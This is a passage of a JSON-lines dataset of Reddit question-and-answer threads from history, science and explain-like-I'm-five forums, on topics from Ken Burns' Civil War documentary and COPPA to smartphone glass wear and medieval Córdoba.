cultural trend that has placed the battle over slavery and emancipation as key to understanding the Civil War [and] along with the Oscar-winning film \"Glory,\" countered those interpretations by putting slavery \u2014 America's \"original sin,\" as some have called it \u2014 front and center in talking about the conflict and its aftermath.\"*\n\nBut being right in some of the broad strokes isn't enough if we are looking at the series academically. Writing in \"Cin\u00e9aste\", Christopher Sharret cuts into the documentary pretty deeply, *\"put[ting] the breaks on such unthinkable enthusiasm [for the series].\"* Calling it 'CliffNotes' for the Civil War, and again harping on the specter of Mr. Foote, Sharret finds that Burns: \n\n > perpetuates errors, and repeats canards that reinforce dangerous notions about the politics of race, and slavery's connection to the war. At its very worst, Burns ignores the work done by the best historians of the Civil War, preferring instead to fill big chunks of the show with wistful images of empty battlefields at the magic hour, and the ruminations of a popular raconteur."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1ayxa8/reputation_of_ken_burns/"], [], ["http://cwmemory.com/2015/08/31/the-split-personality-of-ken-burnss-the-civil-war/"]]}
{"q_id": "e5efsz", "title": "how does coppa affect youtubers that do not live in the us, i mean the ftc is a us commission so how does it affect international youtubers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e5efsz/eli5_how_does_coppa_affect_youtubers_that_do_not/", "answers": {"a_id": ["f9jbpe5"], "score": [9], "text": ["COPPA is about who is viewing content, not who is making it. Youtube can't collect data on American children, so as long as a portion of your audience *could* be American children, you have to deal with COPPA. Youtube will probably just implement it platform-wide, across all languages, because its safer than leaving themselves open to another lawsuit if they made a mistake in how they distinguish between American children and other children. This can be seen in the fact that COPPA settings are being handled on a per-video basis, not on a per-user basis."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6sju5i", "title": "When Lincoln said \"Four score and seven years ago\", was he talking the way average Americans talked, or was he intentionally using lofty language?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6sju5i/when_lincoln_said_four_score_and_seven_years_ago/", "answers": {"a_id": ["dldc4v9", "dlee7cc"], "score": [711, 3], "text": ["Lincoln's speeches used well-chosen words for his audience. Score was associated with biblical vocabulary. It also turns into clever wordplay with the forefathers. \n\n\nEach of his paragraphs has a central theme and one $5 word that sells it: proposition, battlefield, and consecrated. It's somber measure was perfectly timed.\n\n\nAs for whether his speech writing and rhetoric skills were indicative of all  in the 1860s, Lincoln was far more skilled than the average American.  \n\n\nIf you'd like an example of the vernacular of Lincoln's contemporaries while they talk about the Gettysburg Address there are some really great first-hand accounts in this [book](_URL_0_).The first hand accounts start around page 166. The rest of the book is an incredibly thorough analysis of the speech from a historical standpoint.  \n\n\n  Edit: I posted from R/all and didn't check the sub.  I I have a love for historical linguistics, but recognize I am out of my depth when discussing Civil War history. I hope I was able to shed a little bit of light on your question and provide you with a useful primary source document for linguistic comparison. The politicians and clergy were especially interesting ", "No problem.  I didn't realize that it was /r/AskaHistorian until after I posted and that it might not fit the rules. Since it was posted, I thought I would let you guys decide.  Love this sub!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.org/stream/lincolnatgettysb00bart/lincolnatgettysb00bart_djvu.txt"], []]}
{"q_id": "kmtfx", "title": "How saturated is the air with radio waves? If all of the spectrum is allotted and all frequencies are being broadcast, aren't we constantly being bombarded by the entire range all at once?", "selftext": "I'm sure it's not dangerous, I'm just wondering if anyone has done a calculation adding up the entire range of frequencies instead of just one?\n\nMost times people talk about the dangers of electromagnetic radiation someone does the calculation to find out how many millions of cellphones you'd need next to you to even ionize one water molecule. \n\nDoes the entire range added up have any stronger effect than a single frequency?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kmtfx/how_saturated_is_the_air_with_radio_waves_if_all/", "answers": {"a_id": ["c2lifdj", "c2lilin", "c2livpf", "c2lkl2u", "c2lifdj", "c2lilin", "c2livpf", "c2lkl2u"], "score": [28, 11, 5, 3, 28, 11, 5, 3], "text": ["The vast majority of the EM power impinging on your body is in the infrared and visible.  \n", "For radio waves, one can simply take a broad band diode detector receiver and measure the energy up to the limits of the diode detector cutoff frequency (which could be 10's of GHz). \n\nThe photons emitted by a cellphone has orders of magnitude too low of energy to ionize a water molecule. A million cell phones doesn't make a difference; a photon must have a certain energy level to ionize water.\n\nYou're body can act as a resonant antenna and absorb certain radio frequencies more efficiently than others.", " > Does the entire [electromagnetic] range added up have any stronger effect than a single frequency?\n\nEr, yes.  Yes, it does have a stronger effect than a single frequency.  For example, if you were bombarded only with a single frequency around 2.2 GHz *it would be fucking dark*.", "Semi-related question: I sleep literally 5 feet from my wireless router, which often is operational throughout the night as my housemates download stuff all the time. Should I be worried about the radiation? Would it make sense to spend some \u00a35 on a longer cable and move router to another room?", "The vast majority of the EM power impinging on your body is in the infrared and visible.  \n", "For radio waves, one can simply take a broad band diode detector receiver and measure the energy up to the limits of the diode detector cutoff frequency (which could be 10's of GHz). \n\nThe photons emitted by a cellphone has orders of magnitude too low of energy to ionize a water molecule. A million cell phones doesn't make a difference; a photon must have a certain energy level to ionize water.\n\nYou're body can act as a resonant antenna and absorb certain radio frequencies more efficiently than others.", " > Does the entire [electromagnetic] range added up have any stronger effect than a single frequency?\n\nEr, yes.  Yes, it does have a stronger effect than a single frequency.  For example, if you were bombarded only with a single frequency around 2.2 GHz *it would be fucking dark*.", "Semi-related question: I sleep literally 5 feet from my wireless router, which often is operational throughout the night as my housemates download stuff all the time. Should I be worried about the radiation? Would it make sense to spend some \u00a35 on a longer cable and move router to another room?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "s299l", "title": "A question about sexuality", "selftext": "How much is known about homosexuality that isn't conjecture or bias?\n\n1) Is there a physiological difference between somebody identifying as homosexual and somebody identifying as heterosexual?\n\n2) If there is a difference, is that difference born from genetics or from conditioning - for example, a different part of the brain being exercised more due to external stimuli.\n\n3) If there's a genetic link, how does this marry with evolution? Is it a recessive gene, or is there something more complicated happening?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s299l/a_question_about_sexuality/", "answers": {"a_id": ["c4ai4kj", "c4ai7qq", "c4aiax9", "c4aic6k", "c4aicyh", "c4aid9q", "c4aidis", "c4aiel1", "c4ak67m"], "score": [8, 6, 99, 166, 32, 12, 2, 7, 2], "text": ["Sexuality ('homosexual' or otherwise) is arguably more of a social issue/phenomena. Sexuality isn't strictly the science of beings reproducing. \n\nSexual relations between members of the same sex occur all throughout nature, there is nothing irregular about them aside from the cultural biases placed upon them. ", "Read this post on twins studies (which appears there are only three of).\n\n_URL_0_", "Just a reminder from your beloved mods:\n\nThreads about human sexuality seem to attract a lot of comments that do not fit the [guidelines](_URL_0_) of this subreddit. \n\nPlease **keep all comments based on science**: this means \"experimental evidences published in peer-reviewed studies\".\n\nPlease **refrain from posting your anecdotes, and your own personal thoughts about this topic**, they will be removed quickly. Jokes will be removed as well. Thanks for understanding.", "Someone correct me if I'm wrong for I am just a humble undergrad, just pulling references from a paper I wrote last year.\n\nThere have been studies which have shown that there are often anatomical differences between those identifying as homosexual and heterosexual. \n\nSwaab and Hofman found that some brain areas were a difference size in homosexuals. \nSee the end of: _URL_0_\n\nA twin study has found that if one identical twin is homosexual the other is 52% likely to also be homosexual (however this would need to be 100% for it to be purely genetic), compared with 22% for non-identical twins and 11% for adopted siblings.  There's a particular allele on which homosexual brothers have 64% similarity, above the expected 50%.\nIt is also true that homosexual men have the same response to male pheromones as heterosexual women, which heterosexual men obviously do not.\n\nI'm not sure if you can access it because I'm in university at the moment but Jannini's \"Male Homosexuality: Nature or Culture\" Does a good job of summarising the biological evidence as well as giving an unbiased evaluation, a lot of the individual studies mentioned above can be found in summarised form in it.\n\nThe current consensus is that on a biological level homosexuality is like having the genes for height, having requirements in the environment for the gene to be expressed (nutrition etc. in the case of height).\n\nYou can be biologically susceptible to being homosexual in the same way you can be susceptible to being tall, it may not necessarily manifest itself, though the environmental cues for it's manifestation are unknown.\n", " > How much is known about homosexuality that isn't conjecture or bias?\n\nNot a hell of a lot, unfortunately.\n\n > 1) Is there a physiological difference between somebody identifying as homosexual and somebody identifying as heterosexual?\n\nYes. [From Wikipedia:](_URL_1_)\n\n* The VIP SCN nucleus of the hypothalamus is larger in men than in women, and larger in gay men than in heterosexual men.\n\n* The average size of the INAH-3 in the brains of gay men is approximately the same size as INAH 3 in women, which is significantly smaller, and the cells more densely packed, than in heterosexual men's brains\n\n* Gay and non-gay people's brains respond differently to two putative sex pheromones (AND, found in male armpit secretions, and EST, found in female urine).\n\nThere are many other cited examples available in the article.\n\n > 2) If there is a difference, is that difference born from genetics or from conditioning - for example, a different part of the brain being exercised more due to external stimuli.\n\nThis is a matter of great debate. The current general consensus is that [sexual orientation is determined at different points in different peoples' lives, develops as a process instead of a point in time, and is influenced by both genetic and environmental factors.](_URL_2_)\n\n > 3) If there's a genetic link, how does this marry with evolution? Is it a recessive gene, or is there something more complicated happening?\n\nThere's definitely something more complicated happening than a specific gene being active in homosexual individuals.\n\nThere are many theories on why someone develops a homosexual orientation. [Popular theories include non-gender conforming activities during childhood, societal and familial pressures, and fraternal birth order.](_URL_0_)\n\nTo address your third question more specifically, keep in mind that evolution does not favor one system over the other, but is rather the result of whichever system passes the most genes on. Accordingly, homosexuality is a bit puzzling to scientists, because a gay person is less likely to pass on their genes (or one would think).\n\nSome evidence (to which I've already linked) indicates that if parents have gay sons, any daughters they also have will be more fertile than if the parents had had a heterosexual son.\n\nAnother theory posits that in a tribal society, the homosexual men would be trusted to stay with and guard the women while other men hunted, without fear of trying to steal a mate. However, this is mostly conjecture, I don't have any solid evidence to back it up. It also doesn't account for why many dozens of other species of animals exhibit homosexual behaviors and orientations.", "I did a course on sexuality throughout history in University, and still have the textbook compiled by the lecturers, *Sexualities in History* by Kim M. Phillips and Barry Reay. I guess to try an summarise a whole lot of research and work done into one comment is hard, but I'll try. Also, this comes from a more historical perspective, so might not fit, but I suppose it helps to understand a lot of the psychology around sexuality.\n\nBasically, a lot of the historiography suggests that sexuality is a societal construct, and there is no definitive \"this person gay, this person not gay\" definition. I suppose your question might be unfortunately worded, in that there is not just homosexual and heterosexual. If you were to try and identify particular physiological or genetic differences, you'd have to look for a lot - bisexual, transexual, pansexual, even pedast or other more perverted (I use that term loosely, I don't mean to call anyone a pervert) sexual identities, I suppose.\n\nNow, I'm not a scientist by any stretch of the imagination, but the history surrounding sexuality seems to suggest it's constructed by society. Hell, \"homosexual\" wasn't even a word for a long time. Trying to make physiological and genetic links to constructed ideas is very hard. I guess you could look to find a genetic reason for *perversion* from the norm, but then what's the norm, and what's perverted? At least from a linguistic and anthropological perspective, your questions are almost impossible to answer.\n\nI recommend looking up *Sexualities in History* if you're interested. Lots of good essays on the topic. Not sure how available it is outside of New Zealand, though.", "I remember hearing about some work that's been done which hypothesises that homosexuality was heavily influenced by abnormal hormone production by the mother while still in the womb.\n\nDid a quick search on google scholar and found this:\n_URL_0_", " > 3) If there's a genetic link, how does this marry with evolution?\n\nMany traits make an individual less likely to reproduce, but end up being selected for anyhow. Take, for example, the way most ants, most termites, and most naked mole rats are sterile. There's a genetically-determined trait, that forbids reproduction, and has evolved independently at least three times.\n\nNow, to shade into speculation: it's possible that there are substantial benefits to having a \"funny uncle\" or a \"maiden aunt\". It's also possible that, once nobility/royalty are required to produce heirs, the most adaptive strategy in that niche is to not have any personal attachment to reproductive relationships: the harm to fitness of the political cost of love, outweighs the benefit to fitness of extra offspring, and the tremendous success of royalty vs. peasants leads to founder effects. It's also possible that bisexuality allows individuals to plan their families by choosing different partners at different times of life, rather than engaging in infanticide like so many other species do.\n\nProbably more likely than any of that speculation: in the absence of much selection pressure, all sorts of traits can be expressed; maybe it isn't adaptive, it's just that not much selection pressure has been exerted on this trait.", "In terms of a genetic link  [here](_URL_0_) is an interesting article showing that mice that lack 5-HT (aka serotonin) lose their sexual preference for female mice. Just last week I spoke to a professor who studies the genetics of human sexuality who thinks these sorts of studies are rubbish because human behavior is much more complex and that these mutant mice show striking alterations in many behaviors which is typically not the case with bonafide homosexuality"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/comments/s215z/can_twins_have_different_sexual_orientations/"], ["http://www.reddit.com/help/faqs/AskScience"], ["http://en.wikipedia.org/wiki/Suprachiasmatic_nucleus"], ["http://en.wikipedia.org/wiki/Environment_and_sexual_orientation", "http://en.wikipedia.org/wiki/Biology_and_sexual_orientation#Biological_theories_of_etiology_of_sexual_orientation", "http://en.wikipedia.org/wiki/Sexual_orientation"], [], ["http://www.sciencedirect.com/science/article/pii/S0149763404001642"], [], ["http://www.nature.com/nature/journal/v472/n7341/full/nature09822.html"]]}
{"q_id": "3iz9t1", "title": "whats going to happen to all the online flash games when flash is killed off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3iz9t1/eli5_whats_going_to_happen_to_all_the_online/", "answers": {"a_id": ["cukyni2", "cukyy5s"], "score": [8, 7], "text": ["Well I'm pretty sure the world committee on the preservation of internet game circa 2006 hasn't officially announced yet.\n\nWhatever people decide to happen will happen. Presumably most of them will just slide into oblivion forgotten. Plenty were already turned into videos if they were just fixed animations like *Ze End of Ze World*. Maybe somebody will port some. \n\nWho knows?", "It will probably still be possible to install a Flash plugin if you really want, although it might not be particularly safe if Adobe stop updating it. There's also the possibility of downloading the files and running them in a stand along Flash player.\n\nSo it really depends if those websites consider it worth the cost of continuing to host them, considering most people won't have the Flash plugin installed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4c0350", "title": "why are dvd and video game cases rectangular, whereas cd cases are square, when they both hold the same shape of disc?", "selftext": "Something that came to my mind in the shower.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4c0350/eli5_why_are_dvd_and_video_game_cases_rectangular/", "answers": {"a_id": ["d1dxgv0", "d1ebudm"], "score": [129, 7], "text": ["When CDs came out, they were replacing records and cassette tapes.  The package was chosen to just be optimal for the media inside - it was too small to stretch to a 12\" LP and too big to squish to a tape case so there wasn't really any hope for interoperability.  In stores, however, they were [frequently sold in \"longboxes\"](_URL_0_) so they could fit nicely in bins originally built to hold 12\" records.\n\nWhen DVDs came out, they were replacing VHS tapes.  It was an easy adjustment to share case dimensions with VHS.  This allowed DVDs to be stored in existing entertainment centers  &  shelving units.  It had an additional bonus of making the difference between DVDs and CDs immediately obvious to users  &  consumers.", "alternatively can someone explain why pizza boxes are square while the actual pizza (most pizza's) are round?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.metcollectors.com/dands/photos/albums/cd/master_photos/mop_usa_longbox_02.jpg"], []]}
{"q_id": "1uxw2u", "title": "What US news events of the 1970s had television coverage interrupt regularly-scheduled prime time programming for the sake of a news bulletin?", "selftext": "I'm a bit flummoxed as to how I might determine the following piece of information -- I thought one of you fine minds might have the answer, or at the very least could tell me how I might find what I'm looking for:\n\nI'm looking to find a list of the major news events in the early 1970s (US, 1971-1975) that would have seen network news break into prime time television shows mid-broadcast. That is, you're watching \"The Brady Bunch\" or whatever, and then suddenly you'd see a news anchor saying \"Breaking News\u2026\" or the president giving a speech or what have you. I'm specifically looking for the unscheduled interruptions. And prime time (figure 8pm-11pm).\n\nDo any major events spring to mind, for those who remember or who are familiar with such footage? And/or is there a resource that might provide me with this specific information?\n\nThanks.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1uxw2u/what_us_news_events_of_the_1970s_had_television/", "answers": {"a_id": ["cemzfwu"], "score": [4], "text": ["There was a multimedia book that came out in 1998 called [We Interrupt This Broadcast](_URL_1_) which discusses the main news events of the 20th century and contains CDs with the radio or TV bulletins.  I wouldn't call it a serious historical work, exactly\u2014it's basically a coffee table book\u2014so there may be some bad history contained therein.  And I can't guarantee that all these events interrupted usual programming.  But you asked about the events that \"would have\" preempted the scheduled broadcast, and I think the events in the book might have done so.  \n\nFrom the 1970s:\n\n\"Kent State Massacre\" (May 4, 1970)\n\n\"Munich Olympics Tragedy\" (September 5, 1972)\n\n\"Nixon Resigns\" (August 8, 1974)\n\n\"Saigon Falls\" (April 30, 1975)\n\n\"Elvis Dies\" (August 16, 1977)\n\n\"Iran Hostage Crisis\" (November 4, 1979)\n\n\"John Lennon Murdered\" (December 8, 1980) (this one, of course, had the [famous interruption](_URL_0_) on Monday Night Football)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=5gcdz1IRVoM", "http://en.wikipedia.org/wiki/We_Interrupt_This_Broadcast"]]}
{"q_id": "2cfmp8", "title": "where did the phrase \"you are grounded\" come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cfmp8/eli5_where_did_the_phrase_you_are_grounded_come/", "answers": {"a_id": ["cjez43g", "cjezu4l", "cjf77py", "cjf9ym0"], "score": [5, 32, 4, 5], "text": ["I'd guess it came from airplanes being stuck on the ground and unable to leave the airport", "In the air force or airline companys when a pilot disobeys any number of rules or regulations they can be punished by being \"grounded\" meaning they can't fly for a specified time or indefinitely", "As an alternative explanation: in the past if you weren't allowed to leave the property, they would say you \"weren't allowed to leave the grounds.\"", "We used to bury children up to their necks to keep them from getting into trouble "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7ug0nl", "title": "Napoleon tried to commit suicide by poison the night before his first abdication. Is there any evidence the poison he consumed could have caused the stomach issues that later killed him?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7ug0nl/napoleon_tried_to_commit_suicide_by_poison_the/", "answers": {"a_id": ["dtktznz", "dtl2nk7"], "score": [16, 14], "text": ["I can\u2019t see the replies!?", "I think we know the poison had diluted over time from when he first received it and it several years prior. He wore it around his neck on the battlefield to drink if he ever got captured but he never changed it out for new product"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7a8b5v", "title": "how are there so many religions in the world all excepted as fact?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7a8b5v/eli5how_are_there_so_many_religions_in_the_world/", "answers": {"a_id": ["dp7wx68", "dp7xqto"], "score": [3, 2], "text": ["None are accepted as fact except by those who follow them. Even many supporters don't really think a religion is \"real\" but rather enjoy the ideology and traditions.", "Won't happen.\n\nScience = accepting ideas as fact with reasonably indisputable evidence\n\nReligion = accepting ideas as fact in the absence of evidence(i.e. faith)\n\nThat's why science is, for the most part, universally agreed upon and religion never will. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4jm1mt", "title": "Does the glass on a smartphone screen get thinner over time the more you touch it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4jm1mt/does_the_glass_on_a_smartphone_screen_get_thinner/", "answers": {"a_id": ["d37y0y1", "d37zzbx", "d3899qb", "d38c4mi"], "score": [2347, 279, 16, 42], "text": ["Technical yes. But the difference would be so small it would require precision instruments to measure. For example my iphone 5 still has the factory anti-fingerprint coating which was probably only microns thin to start with. ", "As other people have said, what you might be noticing is the films and coatings slightly degrading over time. Manufacturers usually add anti glare, anti smudge, or anti reflective coatings on top of the screens to reduce... Well glare, fingerprint smudge, and reflection.\n\nThese coatings are generally much softer than the potassium hardened glass that most phone and tablet manufacturers use nowadays, you may have heard of gorilla glass which is an example of potassium hardened glass. And because of the composition of the coatings they can deteriorate over time. (Although if tested and applied properly they shouldnt noticeably degrade within the normal lifespan of a phone)\n\nSource: I am an Intern for a company the makes smartphones, tablets, and laptops. And part of my job is to test bew coatings and see if they can hold up and meet our standards.\n\nI also do some other materials testing for smartphones and laptops at my job so feel free to AMAA.\n\n", "The wild thing about smartphone glass is that it is flexible. It's delivered to the manufacturers on rolls, and they unroll it when they make the smartphone glass overlay. It can be purchased in thicknesses down to 30 microns, though they typically do a thicker layer for extra resistance to scratching and abrasion. The surface coatings usually protect the glass from most abrasion, though it probably does thin ever so slightly over the lifespan of the device (unless you spill hydrofluoric acid on it, of course).", "The difference in hardness between your finger and the extra hard glass used in phone screens is so massive I would not be surprised if after a year of use it did not get thinner at all not even macroscopically. But the amount that your finger wore off might surprise you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2u8h4f", "title": "Are there any famous battle cries from WW1/WW2", "selftext": "im sure there are many. id like to hear them all.\n\nas a side question, did Japanese troops actually shout something along the lines of \"FOR THE EMPERORRRR\"   ?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2u8h4f/are_there_any_famous_battle_cries_from_ww1ww2/", "answers": {"a_id": ["co648i7", "co65t6a", "co6mumq"], "score": [2, 2, 2], "text": ["The battle cry of the Italian troops before and during WW1 was actually \"Avanti Savoia!\" but it was also used throughout WW2, only more sporadically. It fell out of use after the Republic was established in 1946.", " >  did Japanese troops actually shout something along the lines of \"FOR THE EMPERORRRR\" ?\n\nYou're probably thinking of *banzai.* \"Banzai\" (\u4e07\u6b73) means \"ten thousand years,\" and derives from a Chinese saying of the same meaning - *wansui*.\n\nYes, Japanese soldiers did shout banzai. Banzai is a term used by Japanese people today, such as at sporting events.\n\nIf one wants to specify the emperor, one would shout *Tennouheika Banzai*, roughly meaning \"ten thousand years to the Emperor.\"", "Jai Mahakali, Ayo Gorkhali' (' Victory to Goddess Mahakali, the Gorkhas are coming').  Battle cry of the Ghurka regiments.  I have also seen the simple Ayo Gorkhali related in WW2 memoirs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dzktpx", "title": "Did Cordoba retain its importance in the post-Umayyad taifas?", "selftext": "Cordoba was famously populated and influential during the period when al-Andalus was united, but how long did this remain the case when it was only one capital among many divided states?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dzktpx/did_cordoba_retain_its_importance_in_the/", "answers": {"a_id": ["f8w1rzx"], "score": [6], "text": ["I saw that /u/Gankom mentioned this post in the [Sunday Digest](_URL_0_) and I think I can tell you somethings about this. So sorry for this late reply /u/byzantine_meme but better late than never I guess.\n\n**Cordoba before the Umayyad dynasty**\n\nThe city of Cordoba dates back to at least the Roman period. It's most defining features were the city walls that enclosed 78 hectares of the city and the bridge over the Guadalquivir. Both of these date back to the Roman period with the walls being comissioned by emperor Augustus. These walls and the bridge would in later periods be frequently renovated.  After the fall of the Western Roman Empire this area came under the control of the Visigothic kingdom who had their 'capital' to the north in Toledo. During the later Roman and Visigothic periods Cordoban city life declined and at the end of this period most of the Roman city grid patern had dissappeared and the public Roman buildings had been abandoned. Despite this decline Cordoba was still one of the bigger cities and it was an important goal for the Muslim conquerors under Tariq Ibn Ziyad. About the early period not a whole lot is known and even the Islamic sources are from centuries later. There are different stories but apparantly Cordoba surrendered to the Muslims with a treaty so that they would still have a church in the city. The Visigoths had mostly focussed on the south west of the city with the basilica of Saint Vincent and the governors palace being located in that part of the city. The Muslims didn't change much and it appears they began to rule from Cordoba a few years after the initial landing from Tariq in 711.\n\n**Cordoba under the Umayyad dynasty**\n\nAfter Abd al-Rahman moved in in 756, things did change. He expanded the area of the old Visigothic palace/stronghold into a new palace and he converted the basilica of St. Vincent into a mosque after paying the Christians to move to churches outside of the city walls. This meant that the city within the walls was mostly reserved for muslims. There were still some christians and Jews inside the city walls with the Jews living in the north of the city as the gate there was called the Jewish gate. Cordoba from this period is often portrayed as this multicultural city where everyone lived together hapilly and this is somewhat of an exageration. Cordoba during this period would grow massively and although the estimates vary wildly a population of 300.000 seems the most likely which would make it the biggest city in Europe after Constantinople. Even in the Islamic world Cordoba was well known as a grand city. It was most famous for being an intellectual center. It is said to have had a huge collection of books in as many as seventy libraries throughout the city. It was a center of learning that would rival the house of wisdom in Bagdad. It produced many great scholars on a variety of subjects: al Ta'rikhi and Ibn 'Abd Rabbihi produced great works of literature and history and Abu 'I-Qasim al-Zahrawi of Cordoba (Abulcasis) was one of the great surgeons of the medieval era. It was however not all great as sometimes more 'pious' rulers would disapprove. Under al-Mansur there were book burnings of on some of the ancient greek works on logic and astronomy. The city's mosque was where most of the scholars were and it was expanded several times in this period to fit the expanding population. The city was also a center of manufactering with vast amounts of weavers, leatherworkers and it also had a big metalworking center. In the early Umayyad period the tollerance for other faiths was also remarkably high with christians and Jews even climbing to administrative functions. For example Hasday b. Shaprut was a Jew who was sent as a diplomat to the Spanish christian kingdoms to the north and who is also one of our few sources on the Jewish Khazars in what is now southern Russia. Another was Ibrahim b. Yaqub who went all the way to the court of Otto I of Holy Roman Empire. Things wouldn't go so well after the year 1000 of the christian calander. There was a berber revolt in 1013 that sacked the city and in this tumultuous period the Umayyads Caliphate would fall for good in 1031.\n\n**Cordoba in the post Umayyad period**\n\nCordoba became first a republic ruled by three members of the same family consecutively (Jahwarid). In 1070 they were conquered by the Abbadids of Seville and in 1091 the city was taken over by the Almoravids. In 1172 the Almohads took over and they were a very repressive and puritanical regime. This was a period of roughly 150 years in which al-Andalus wasn't doing so great and the reconquista was picking up steam. In this period Cordoba was no longer a city of military of political importance. But the city's intellectual community did continue and produced some of it's finest scholars. Ibn Rushd (Averroes) the philosopher and physician is from this 12th century. Although the Almohads would eventually forcibly convert the Jews of Cordoba, before that some of the most famous Andalusian Jews lived in the city. Moses Maimonides, a rabbi, philosopher, diplomat and physician who went on to work for Saladin in Egypt. And other Jewish intellectuals also found their way to the courts of Castille and Aragon. The last of the Almohads died in 1233, afterwards the city fell victim to party strife and in 1236 it was conquered by Ferdinand III of Leon and Castille. Granada would become the most prominent Muslim city in al-Andalus as it would take in many of the people fleeing from conquered cities like Seville and Cordoba. Cordoba would again be an important military city but now it was for the Christians who used it as a base to launch their campaigns against the Emirate of Granada. The great mosque of Granada was now converted back to chruch and they pretty much build a church in the middle of the mosque ([which looks hideous in my opinion](_URL_1_)).\n\nTo come back to your original question. No, Cordoba wasn't really all that prominent and was overshadowed by places like Seville and later ~~Cordoba~~ Granada although it did still have a thriving intellectual community untill the Almohads started calling the shots.\n\n----------\n\n\nSources:\n\nRobert Hillenbrand, \u2018\u201cThe Ornament of the World\u201d Medieval C\u00f3rdoba as a Cultural Centre\u2019, in: Salma Jayyusi ed., *The Legacy of Muslim Spain* (1994) 112\u2013135.\n\nAnn Christys, \u2018The Meaning of Topography in Umayyad C\u00f3rdoba\u2019, in: Caroline Goodson, Anne Lester and Carol Symes ed., *Cities, Texts and Social Networks , 400-1500. Experiences and Perceptions of Medieval Urban Space* (2010) 103-123."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/e0yvw9/sunday_digest_interesting_overlooked_posts/", "https://upload.wikimedia.org/wikipedia/commons/6/6c/Mezquita_de_C%C3%B3rdoba_desde_el_aire_%28C%C3%B3rdoba%2C_Espa%C3%B1a%29.jpg"]]}
{"q_id": "438k2c", "title": "AskScience AMA Series: I'm George Crabtree, Director of DOE\u2019s Batteries and Energy Storage Hub and one of the leaders of the energy storage revolution that seeks to replace traditional, fossil fuel technologies with more sustainable alternatives. AMA!", "selftext": "Hi, Reddit \u2013 I\u2019m George Crabtree, Director of the Joint Center for Energy Storage Research (JCESR), DOE\u2019s Batteries and Energy Storage Hub. \n\n_URL_3_\n\nAlexander Graham Bell, inventor of the telephone, would be baffled if he saw your cell phone but Thomas Edison could work today\u2019s electrical grid. What happened? One industry has changed dramatically and the other hasn\u2019t.\n\nWe launched JCESR in 2012 with a bold vision; we wanted to create game-changing battery technologies to transform transportation and the electricity grid the way lithium-ion batteries transformed personal electronics. This bold vision addresses pressing national needs to reduce carbon emissions, increase energy efficiency, lower our dependence on foreign oil, accelerate deployment of renewable solar and wind electricity on the grid and modernize the grid with new operating concepts that strengthen its flexibility, reliability and resilience.\n\nFor the past three years, we have been pursuing three energy storage concepts: \u201cmultivalent intercalation,\u201d replacing singly charged lithium ions with doubly or triply charged working ions; \u201cchemical transformation,\u201d storing energy in chemical bonds; and \u201credox flow,\u201d storing energy in liquid electrodes. In the next two years, these exciting research directions for science and prototypes will take shape and mature. \n\n_URL_0_\n_URL_2_\n\nA Fellow of the American Physical Society and a Member of the U.S. National Academy of Sciences, I have published more than 400 papers in leading scientific journals and collected more than 15,000 career citations. I have led Department of Energy (DOE) workshops on hydrogen, solar energy, co-chaired the Undersecretary of Energy\u2019s assessment of DOE\u2019s applied energy programs and testified before the U.S. Congress on meeting sustainable energy challenges.\n\n_URL_1_\n\nI will be back at 2:00 pm EST (11 am PST, 7 pm UTC) to answer you questions.\n\nThank you all so much! I really enjoyed this time with all of you. I have to go now, but I will be back on Monday to answer more of your questions. You are well-informed and I want you to continue to be curious and follow our progress at creating top-notch tools for next generation science and partnerships at _URL_1_. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/438k2c/askscience_ama_series_im_george_crabtree_director/", "answers": {"a_id": ["czgawef", "czgaxhj", "czgb8i4", "czgb9m7", "czgbaa2", "czgbcf3", "czgbek0", "czgbl1l", "czgblyk", "czgbphi", "czgbqpa", "czgbqsj", "czgbrua", "czgbt02", "czgbybm", "czgc1of", "czgc79a", "czgccgc", "czgcgob", "czgcp8p", "czgcrs8", "czgdeey", "czgdfvl", "czgem4u", "czgeoxq", "czgggc4", "czggmfl", "czghg9x", "czghtrj", "czgitdz", "czgiy0z", "czgj23r", "czgjp3m", "czgn1gy", "czgox74", "czhcfqu"], "score": [21, 89, 6, 21, 72, 9, 5, 2, 10, 35, 2, 3, 7, 46, 5, 4, 